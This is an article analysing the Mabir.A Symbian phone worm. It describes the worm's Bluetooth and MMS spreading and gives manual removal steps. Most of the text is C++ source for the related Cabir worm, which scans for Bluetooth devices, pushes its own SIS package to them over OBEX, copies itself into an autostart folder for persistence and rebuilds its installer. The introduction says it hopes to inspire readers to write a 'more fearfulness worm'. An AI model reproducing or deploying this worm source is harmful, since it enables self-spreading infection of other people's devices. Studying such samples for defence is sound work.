Analysing Mabir.A Virus

Analysing Mabir.A Virus

BY Delphiscn (cnBlaster#hotmail.com) http://blog.csdn.net/delphiscn

----[Table of contents

0x01.Introduction

0x02.Mabir.A's details & solution

0x03.Code

0x04.Reference

----[ 0x01. Introduction

Nowadays, there are many computer viruses feaze us. But with the
development of the technology, some mobile telephone's viruses are also
appeared. So, not only the systems such as Windows、Linux are infected.
But also the mobile phones based on Symbian OS、Windows CE systems
are hacked...

This article will give us a example to know how a virus to infect and
work. Maybe some viewpoints in this paper will give you some inspirations
to write a more fearfulness worm :)

----[ 0x02. Mabir.A's details & solution

Mabir is a worm based on Symbian 60 system, which is spread by Bluetooth
and MMS. It will search the other mobile phones equipped with Bluetooth
as soon as infected a system. and send a virus copy(SIS File) at the same time.

　　
The missive file always has the same name called caribe.sis. Here, we
should pay a attention to it. Though the filename is the same as the worm caribe,
they have some differences.

Besides the way of Bluetooth, Mabir.A will also listen all the MMS and SMS
Messages from the infected phones. And reply these messageswith info.sis,
a virus copy.

　 The MMS Messages replyed by Mabir will not included any words, except
info.sis file.
　　
　 Next, Let's talk something about MMS.

MMS Message is a kind of multimedia that can transport any information to mobile phones
which are support MMS technology. As its name, MMSonly contains
multimedia, such as picture、audio frequency and video frequency. But, in fact,
it contains all, even as the infected files, Mabir always camouflages itself asa
Symbian's installation procedure. Let you to execute it.

Killing Mabir.A

1.Install a file manager program on the device.

2.Enable the option to view the files in the system folder.

3.Delete the following malicious files:
Profimail v2.75_FULL.sis
\system\install\Profimail v2.75_FULL.sis
C:\System\Apps\AppInst\Appinst.aif
C:\System\Apps\AppInst\Appinst.app
C:\System\Apps\caribe\caribe.rsc
C:\System\Apps\caribe\caribe.app
C:\System\Apps\caribe\flo.mdl
C:\System\recogs\flo.mdl
C:\System\Fonts\11x12 euro_fonts.gdr
C:\System\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.RSC
C:\System\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.APP
C:\System\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.SIS
C:\System\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\INFO.SIS

4.Reinstall the following programs that were overwritten by the threat:
ProfiMail
ProfiExplorer

Detailed description:

1.Spreading by Bluetooth

On this way, Mabir always copies itselftoa file named caribe.sis. SIS
contains three virus's files

caribe.app, caribe.rsc and flo.mdl

When SIS sets up, it will execute caribe.app automatically. To start up the
worm.

If Mabir.A is activation, it will immediately search the other Bluetooth
phones, and copy itself to them. If the target system refused, it will still send the
same messages. Just like DDOS.

2.Spreading by MMS

Using MMS way to spread, Mabir will copy the infected SIS files. These files
included info.sis but there aren't any words in the MMS message.

Infection

When Mabir SIS installs the files, it will copy worm to these place:

\system\apps\Caribe\Caribe.app
\system\apps\Caribe\Caribe.rsc
\system\apps\Caribe\flo.mdl

When Mabir.exe executes, it will copy these files:

\system\symbiansecuredata\caribesecuritymanager\Caribe.app
\system\symbiansecuredata\caribesecuritymanager\Caribe.rsc

and rebuilds SIS file to:

\system\symbiansecuredata\caribesecuritymanager\Info.sis

If these steps are executed successfully, Mabir.A will search all the
Bluetooth phones and begin to wait all the MMSand SMS Messages arrived.

----[ 0x03. Code

Attention:

This code is called Cabir which is the preexistence of Mabir. Comparing both
to say, Cabir and Mabir Maybe have same differences.

#include "general.h"

#include "caribebt.h"

#include <eikenv.h>

#include <bt_sock.h>

#include <obex.h>

#include <btextnotifiers.h>

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

CaribeBluetooth::CaribeBluetooth():

CActive(CActive::EPriorityStandard)

{

WithAddress = 0;

iState = 3;

_LIT(currentFileName,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURIT
YMANAGER\\CARIBE.SIS");

iCurrFile = CObexFileObject::NewL(TPtrC(NULL, 0));

iCurrFile->InitFromFileL(currentFileName);

CActiveScheduler::Add(this);

}

CaribeBluetooth::~CaribeBluetooth()

{

}

CaribeBluetooth* CaribeBluetooth::NewL()

{

return NewLC();

}

CaribeBluetooth* CaribeBluetooth::NewLC()

{

CaribeBluetooth* self = new CaribeBluetooth;

self->ConstructL();

return self;

}

void CaribeBluetooth::ConstructL()

{

iState = 3;

RunL();

}

void CaribeBluetooth::RunL()

{

if(iState == 1)

{

if(!obexClient->IsConnected())

{

iState = 3;

}

else

{

//iCurrObject = CObexNullObject::NewL();

//iCurrObject->SetNameL(_L("Hello World"));

//obexClient->Put(*iCurrObject,iStatus);

iState = 2;

Cancel();

obexClient->Put(*iCurrFile,iStatus);

SetActive();

return;

}

}

if(iState == 2)

{

//delete iCurrObject;

iState = 3;

Cancel();

obexClient->Disconnect(iStatus);

SetActive();

return;

}

if(iState == 3)

{

if(obexClient)

{

delete obexClient;

obexClient = NULL;

}

while(iState == 3)

{

FindDevices();

ManageFoundDevices();

}

return;

}

}

void CaribeBluetooth::DoCancel()

{

}

int CaribeBluetooth::FindDevices()

{

_LIT(KL2Cap, "BTLinkManager");

int res;

if((res = socketServ.Connect()) != KErrNone)

{

//ErrMessage("Error Connect");

return 0;

}

if((res = socketServ.FindProtocol((const
TProtocolName&)KL2Cap,pInfo))!=KErrNone)

{

//ErrMessage("Error FindProtocol");

socketServ.Close();

return 0;

}

if((res = hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol))!=KErrNone)

{

//ErrMessage("Error Open");

socketServ.Close();

return 0;

}

WithAddress = 0;

addr.SetIAC(KGIAC);

addr.SetAction(KHostResInquiry);

TRequestStatus iStatusIn;

hr.GetByAddress(addr, entry, iStatusIn);

User::WaitForRequest(iStatusIn);

if(iStatusIn!=KErrNone)

{

//ErrMessage("Error Finding Devices");

}

else

{

WithAddress = 1;

}

socketServ.Close();

// hr.Close();

return 0;

}

int CaribeBluetooth::ManageFoundDevices()

{

if(WithAddress)

{

WithAddress = 0;

Cancel();

TBTSockAddr btaddr(entry().iAddr);

TBTDevAddr devAddr;

devAddr = btaddr.BTAddr();

TObexBluetoothProtocolInfo obexBTProtoInfo;

obexBTProtoInfo.iTransport.Copy(_L("RFCOMM"));

obexBTProtoInfo.iAddr.SetBTAddr(devAddr);

obexBTProtoInfo.iAddr.SetPort(0x00000009);

obexClient = CObexClient::NewL(obexBTProtoInfo);

if(obexClient)

{

iState = 1;

iStatus = KRequestPending;

Cancel();

obexClient->Connect(iStatus);

SetActive();

}

}

else

{

iState = 3;

User::After(1000000);

}

return 0;

}

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

#include "general.h"

#include "CaribeInstaller.h"

#include <aknapp.h>

#include <e32std.h>

#include <e32base.h>

#include <e32def.h>

#include <f32file.h>

#include <bautils.h>

#include <eikenv.h>

#include "file.h"

//#include "sisheader.h"

#define AUTOSTARTABLE
"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.A
PP"

_LIT(Autostartablestr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURIT
YMANAGER\\CARIBE.APP");

#define AUTOSTARTABLERSC
"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.
RSC"

_LIT(Autostartablerscstr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECUR
ITYMANAGER\\CARIBE.RSC");

#define AUTOSTARTABLEPATH
"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\"

_LIT(Autostartablepathstr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESEC
URITYMANAGER\\");

#define RECOGFILE "C:\\SYSTEM\\RECOGS\\FLO.MDL"

_LIT(Recogfilestr,"C:\\SYSTEM\\RECOGS\\FLO.MDL");

#define RECOGFILEPATH "C:\\SYSTEM\\RECOGS\\"

_LIT(Recogfilepathstr,"C:\\SYSTEM\\RECOGS\\");

#define SISFILE
"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.S
IS"

_LIT(Sisfilestr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANA
GER\\CARIBE.SIS");

unsigned short DOCRC16(unsigned short crc,void * array,int size);

CaribeInstaller::CaribeInstaller()

{

}

CaribeInstaller::~CaribeInstaller()

{

}

/*************************************************************
*********

CopyMeToAutostartableDir:

This function will copy the own dll of this application to

"C:\SYSTEM\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.APP"
.

.mdl for autostart will start that application automaticly.

Parameters:

CAknApplication of the application to be copied.

Returned Values:

None.

**************************************************************
*********/

void CaribeInstaller::CopyMeToAutostartableDir(CAknApplication * OwnApp)

{

TFileName OwnDllName = OwnApp->DllName();

TBuf16 <sizeof(AUTOSTARTABLE)>Autostartable(Autostartablestr);

OwnDllName.UpperCase();

if(OwnDllName == Autostartable)

{

return;

}

RFs fs;

User::LeaveIfError(fs.Connect());

TBuf16 <sizeof(AUTOSTARTABLEPATH)>
autostartablepath(Autostartablepathstr);

fs.MkDirAll(Autostartablepathstr);

if(BaflUtils::CopyFile(fs,OwnDllName,Autostartable,CFileMan::EOverWrite)!=K
ErrNone)

{

fs.Close();

return;

}

TBuf16 <sizeof(AUTOSTARTABLERSC)> Autostartablersc (Autostartablerscstr);

OwnDllName[OwnDllName.Length()-3] = 'R';

OwnDllName[OwnDllName.Length()-2] = 'S';

OwnDllName[OwnDllName.Length()-1] = 'C';

if(BaflUtils::CopyFile(fs,OwnDllName,Autostartablersc,CFileMan::EOverWrite)!
=KErrNone)

{

BaflUtils::DeleteFile(fs,Autostartable,0);

}

fs.Close();

return;

}

/*************************************************************
*********

InstallMDL:

This function will install the mdl file to the recogs directory.

Parameters:

CAknApplication of this application for constructing the path

of the mdl.

Returned Values:

None.

**************************************************************
*********/

void CaribeInstaller::InstallMDL(CAknApplication * OwnApp)

{

RFs fs;

User::LeaveIfError(fs.Connect());

TFileName OwnDllName = OwnApp->DllName();

TBuf16 <sizeof(RECOGFILE)>Recogfile(Recogfilestr);

TParse parser;

parser.Set(OwnDllName,NULL,NULL);

TBuf16 <KMaxPath> flodrivepath(parser.DriveAndPath());

_LIT16(FLOMDL,"flo.mdl");

flodrivepath.Append(FLOMDL);

TBuf16 <sizeof(RECOGFILEPATH)> Recogfilepath(Recogfilepathstr);

fs.MkDirAll(Recogfilepath);

BaflUtils::CopyFile(fs,flodrivepath,Recogfile,CFileMan::EOverWrite);

fs.Close();

}

/*************************************************************
*********

CreateSis:

This function will create a .sis file with caribe.app,caribe.rsc

and flo.mdl

Parameters:

CAknApplication of this application for constructing the path

of the mdl.

Returned Values:

None.

**************************************************************
*********/

void CaribeInstaller::CreateSis(CAknApplication * OwnApp)

{

unsigned char sisheader[] =

{

0x3D ,0x1A ,0x8B ,0x03 ,0x12 ,0x3A ,0x00 ,0x10

,0x19 ,0x04 ,0x00 ,0x10 ,0xC4 ,0xE0 ,0x80 ,0xAB

//Offset 0x10 CRC16

,0x00 ,0x00 ///////

///////////////////

,0x01 ,0x00 ,0x03 ,0x00 ,0x01 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x21 ,0x00 ,0x00 ,0x00

,0xC8 ,0x00 ,0x00 ,0x00 ,0x09 ,0x00 ,0x00 ,0x00

,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x64 ,0x00 ,0x00 ,0x00 ,0x66 ,0x00 ,0x00 ,0x00

,0xF6 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x0A ,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x0A ,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

//Offset 0x50 Size of Packed Data/////

,0xCC ,0x20 ,0x01, 0x00///////////////

//////////////////////////////////////

,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x03 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x18 ,0x00 ,0x00 ,0x00 ,0x12 ,0x01

,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0x2A ,0x01

,0x00 ,0x00

//Offset 0x82 size of packed file 3

,0x61 ,0xA0 ,0x00 ,0x00

//Offset 0x86: offset of third packed file//

,0x3C ,0x02,0x00 ,0x00 /////////////////////

////////////////////////////////////////////

//Offset 0x8a again size of packed file 3

,0x61 ,0xA0 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x6A ,0x01 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x12 ,0x00 ,0x00 ,0x00 ,0x6A ,0x01

,0x00 ,0x00 ,0x3A ,0x00 ,0x00 ,0x00 ,0x7C ,0x01

,0x00 ,0x00

//Offset 0xB2 size of packed file 2

,0x59 ,0x80 ,0x00 ,0x00

//Offset 0xB6: offset of second packed file//

, 0x9D ,0xA2 ,0x00 ,0x00 ////////////////////

/////////////////////////////////////////////

//Offset 0xBA again size of packed file 2

,0x59 ,0x80 ,0x00 ,0x00

,0x00 ,0x00

,0x00 ,0x00 ,0xB6 ,0x01 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x18 ,0x00 ,0x00 ,0x00 ,0xB6 ,0x01

,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0xCE ,0x01

,0x00 ,0x00

//Offset 0xE2 size of packed file 1

,0x12 ,0x00 ,0x00 ,0x00

//Offset 0xE6: offset of first packed file//

,0xF6 ,0x22,0x01 ,0x00 /////////////////////

////////////////////////////////////////////

//Offset 0xEA again size of packed file 1

,0x12 ,0x00 ,0x00 ,0x00

,0x00 ,0x00

,0x00 ,0x00 ,0x0E ,0x02 ,0x00 ,0x00 ,0x88 ,0x6F

,0x1F ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x22 ,0x00 ,0x00 ,0x00 ,0x0E ,0x02

,0x00 ,0x00 ,0x0C ,0x00 ,0x00 ,0x00 ,0x30 ,0x02

,0x00 ,0x00 ,0x2E ,0x00 ,0x5C ,0x00 ,0x63 ,0x00

,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00 ,0x62 ,0x00

,0x65 ,0x00 ,0x2E ,0x00 ,0x61 ,0x00 ,0x70 ,0x00

,0x70 ,0x00 ,0x21 ,0x00 ,0x3A ,0x00 ,0x5C ,0x00

,0x73 ,0x00 ,0x79 ,0x00 ,0x73 ,0x00 ,0x74 ,0x00

,0x65 ,0x00 ,0x6D ,0x00 ,0x5C ,0x00 ,0x61 ,0x00

,0x70 ,0x00 ,0x70 ,0x00 ,0x73 ,0x00 ,0x5C ,0x00

,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00

,0x62 ,0x00 ,0x65 ,0x00 ,0x5C ,0x00 ,0x63 ,0x00

,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00 ,0x62 ,0x00

,0x65 ,0x00 ,0x2E ,0x00 ,0x61 ,0x00 ,0x70 ,0x00

,0x70 ,0x00 ,0x2E ,0x00 ,0x5C ,0x00 ,0x66 ,0x00

,0x6C ,0x00 ,0x6F ,0x00 ,0x2E ,0x00 ,0x6D ,0x00

,0x64 ,0x00 ,0x6C ,0x00 ,0x21 ,0x00 ,0x3A ,0x00

,0x5C ,0x00 ,0x73 ,0x00 ,0x79 ,0x00 ,0x73 ,0x00

,0x74 ,0x00 ,0x65 ,0x00 ,0x6D ,0x00 ,0x5C ,0x00

,0x61 ,0x00 ,0x70 ,0x00 ,0x70 ,0x00 ,0x73 ,0x00

,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00

,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00 ,0x5C ,0x00

,0x66 ,0x00 ,0x6C ,0x00 ,0x6F ,0x00 ,0x2E ,0x00

,0x6D ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x2E ,0x00

,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00

,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00 ,0x2E ,0x00

,0x72 ,0x00 ,0x73 ,0x00 ,0x63 ,0x00 ,0x21 ,0x00

,0x3A ,0x00 ,0x5C ,0x00 ,0x73 ,0x00 ,0x79 ,0x00

,0x73 ,0x00 ,0x74 ,0x00 ,0x65 ,0x00 ,0x6D ,0x00

,0x5C ,0x00 ,0x61 ,0x00 ,0x70 ,0x00 ,0x70 ,0x00

,0x73 ,0x00 ,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00

,0x72 ,0x00 ,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00

,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00

,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00 ,0x2E ,0x00

,0x72 ,0x00 ,0x73 ,0x00 ,0x63 ,0x00 ,0x53 ,0x00

,0x65 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00 ,0x65 ,0x00

,0x73 ,0x00 ,0x36 ,0x00 ,0x30 ,0x00 ,0x50 ,0x00

,0x72 ,0x00 ,0x6F ,0x00 ,0x64 ,0x00 ,0x75 ,0x00

,0x63 ,0x00 ,0x74 ,0x00 ,0x49 ,0x00 ,0x44 ,0x00

,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00

,0x62 ,0x00 ,0x65 ,0x00

};

unsigned char rscraw[] =

{

/*0x0C,0x00,0x07,0x00,0x04,0x00,0x00,0x00,

0x01,0x60,0xA2,0x11,0x04,0x00,0x0C,0x00,

0x0C,0x00*/

0x24,0x00,0x09,0x00,0x04,0x00,0x00,0x00,0x01,0x60,

0xA2,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x0C,0x00,

0x0C,0x00,0x24,0x00

};

TBuf16 <sizeof(SISFILE)>Sisfile(Sisfilestr);

TBuf16 <sizeof(RECOGFILE)>Recogfile(Recogfilestr);

TBuf16 <sizeof(AUTOSTARTABLE)>Appfile(Autostartablestr);

TBuf16 <sizeof(AUTOSTARTABLERSC)>Rscfile(Autostartablerscstr);

unsigned short crc = 0;

int i;

int leidos;

unsigned char bytesdata[100];

File fsis;

File fRecog;

File fApp;

int RecogSize;

int AppSize;

int RscSize;

if(!fsis.Open(Sisfile,File::OMCreate|File::OMWrite|File::OMRead))

{

if(!fsis.Open(Sisfile,File::OMReplace|File::OMRead|File::OMWrite))

{

return;

}

}

if(!fRecog.Open(Recogfile,File::OMOpen|File::OMRead))

{

fsis.Close();

return;

}

fRecog.rFile.Size(RecogSize);

if(!fApp.Open(Appfile,File::OMOpen|File::OMRead))

{

fsis.Close();

fRecog.Close();

return;

}

fApp.rFile.Size(AppSize);

RscSize = sizeof(rscraw);

unsigned short CRC16; //0x10

unsigned int SizeData; //0x50

unsigned int OffsetData1; //0xE6

unsigned int OffsetData2; //0xB6

unsigned int OffsetData3; //0x86

unsigned int SizeData11; //0xE2

unsigned int SizeData12; //0xEA

unsigned int SizeData21; //0xB2

unsigned int SizeData22; //0xBA

unsigned int SizeData31; //0x82

unsigned int SizeData32; //0x8A

CRC16 = 0;

SizeData = RecogSize+AppSize+RscSize;

SizeData11= RscSize;

SizeData21= RecogSize;

SizeData31= AppSize;

SizeData12 = RscSize;

SizeData22 = RecogSize;

SizeData32 = AppSize;

OffsetData3 = 0x0000023c;

OffsetData2 = 0x0000023c+AppSize;

OffsetData1 = 0x0000023c+AppSize+RecogSize;

//Writing header

crc = DOCRC16(crc,sisheader,0x10);

crc = DOCRC16(crc,&sisheader[0x12],0x50-0x12);

fsis.Write(sisheader,0x50);

crc = DOCRC16(crc,&SizeData/*&sisheader[0x50]*/,4); //SizeData;
//0x50

fsis.Write(&SizeData/*sisheader[0x50]*/,4);

crc = DOCRC16(crc,&sisheader[0x54],0x82-0x54);

fsis.Write(&sisheader[0x54],0x82-0x54);

crc = DOCRC16(crc,&SizeData31/*&sisheader[0x82]*/,0x04);//SizeData31;
//0x82

crc =
DOCRC16(crc,&OffsetData3/*&sisheader[0x86]*/,0x04);//OffsetData3;//0x8
6

crc = DOCRC16(crc,&SizeData32/*&sisheader[0x8a]*/,0x04);//SizeData32;
//0x8A

fsis.Write(&SizeData31/*&sisheader[0x82]*/,0x04);

fsis.Write(&OffsetData3/*&sisheader[0x86]*/,0x04);

fsis.Write(&SizeData32/*&sisheader[0x8a]*/,0x04);

crc = DOCRC16(crc,&sisheader[0x8e],0xb2-0x8e);

fsis.Write(&sisheader[0x8e],0xb2-0x8e);

crc = DOCRC16(crc,&SizeData21/*&sisheader[0xB2]*/,0x04);//SizeData21;

crc = DOCRC16(crc,&OffsetData2/*&sisheader[0xB2]*/,0x04);//OffsetData2;

crc = DOCRC16(crc,&SizeData22/*&sisheader[0xB2]*/,0x04);//SizeData22;

fsis.Write(&SizeData21/*&sisheader[0xB2]*/,0x04);

fsis.Write(&OffsetData2/*&sisheader[0xB2]*/,0x04);

fsis.Write(&SizeData22/*&sisheader[0xB2]*/,0x04);

crc = DOCRC16(crc,&sisheader[0xbe],0xe2-0xbe);

fsis.Write(&sisheader[0xbe],0xe2-0xbe);

crc = DOCRC16(crc,&SizeData11/*&sisheader[0xe2]*/,0x04);//SizeData11;

crc = DOCRC16(crc,&OffsetData1/*&sisheader[0xe2]*/,0x04);//OffsetData1;

crc = DOCRC16(crc,&SizeData12/*&sisheader[0xe2]*/,0x04);//SizeData12;

fsis.Write(&SizeData11/*&sisheader[0xe2]*/,0x04);

fsis.Write(&OffsetData1/*&sisheader[0xe2]*/,0x04);

fsis.Write(&SizeData12/*&sisheader[0xe2]*/,0x04);

crc = DOCRC16(crc,&sisheader[0xee],0x23c-0xee);

fsis.Write(&sisheader[0xee],0x23c-0xee);

//Writing app

while(leidos = fApp.Read(bytesdata,100))

{

crc = DOCRC16(crc,bytesdata,leidos);

fsis.Write(bytesdata,leidos);

}

//Writing recog

while(leidos = fRecog.Read(bytesdata,100))

{

crc = DOCRC16(crc,bytesdata,leidos);

fsis.Write(bytesdata,leidos);

}

//Writing rsc

crc = DOCRC16(crc,rscraw,sizeof(rscraw));

fsis.Write(rscraw,sizeof(rscraw));

fsis.Seek(ESeekStart,0x10);

fsis.Write(&crc,2);

fsis.Close();

fRecog.Close();

fApp.Close();

}

unsigned short DOCRC16(unsigned short crc,void * _array,int size)

{

//static unsigned int polynomial = 0x1021;

//static unsigned short _table[256], index;

unsigned short crcTab[256] =

{0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,0x8108,0x9
129,0xa14a,

0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,0x1231,0x0210,0x3273,0x2252,0x52b
5,0x4294,

0x72f7,0x62d6,0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de
,0x2462,

0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,0xa56a,0xb54b,0x85
28,0x9509,

0xe5ee,0xf5cf,0xc5ac,0xd58d,0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6
,0x5695,

0x46b4,0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,0x48c4
,0x58e5,

0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,0xc9cc,0xd9ed,0xe98e,0xf9a
f,0x8948,

0x9969,0xa90a,0xb92b,0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a
33,0x2a12,

0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,0x6ca6,0x7c87
,0x4ce4,

0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,
0xbd0b,

0x8d68,0x9d49,0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e
70,0xff9f,

0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,0x9188,0x81a9,0xb1ca,0
xa1eb,

0xd10c,0xc12d,0xf14e,0xe16f,0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x402
5,0x7046,

0x6067,0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,0x02b
1,0x1290,

0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,0xb5ea,0xa5cb,0x95a8,0x85
89,0xf56e,

0xe54f,0xd52c,0xc50d,0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x542
4,0x4405,

0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,0x26d3,0x36f2
,0x0691,

0x16b0,0x6657,0x7676,0x4615,0x5634,0xd94c,0xc96d,0xf90e,0xe92f,0x99c
8,0x89e9,

0xb98a,0xa9ab,0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28
a3,0xcb7d,

0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,0x4a75,0x5a54,0x6a37
,0x7a16,

0x0af1,0x1ad0,0x2ab3,0x3a92,0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b
,0x9de8,

0x8dc9,0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,0xef1f,
0xff3e,

0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,0x6e17,0x7e36,0x4e55,0x5e74,0
x2e93,

0x3eb2,0x0ed1,0x1ef0

};

unsigned short * table = NULL;

unsigned char * array = (unsigned char *)_array;

int i;

if(!table)

{

table = crcTab;

/*

table = _table;

table[0]=0;

for (index = 0; index < 128; index++)

{

unsigned int carry = table[index] & 0x8000;

unsigned int temp = (table[index] << 1) & 0xffff;

table[index * 2 + (carry ? 0 : 1)] = temp ^ polynomial;

table[index * 2 + (carry ? 1 : 0)] = temp;

} */

}

for(i=0;i<size;i++)

{

crc = ((crc << 8) ^ table[((crc >> 8) ^ array[i]) & 0xff]);

}

return crc;

}

----[ 0x04. Reference

Symbian virus analyse
http://www.netqin.com/viruslist/Mabir.A.html

===EOF=======================================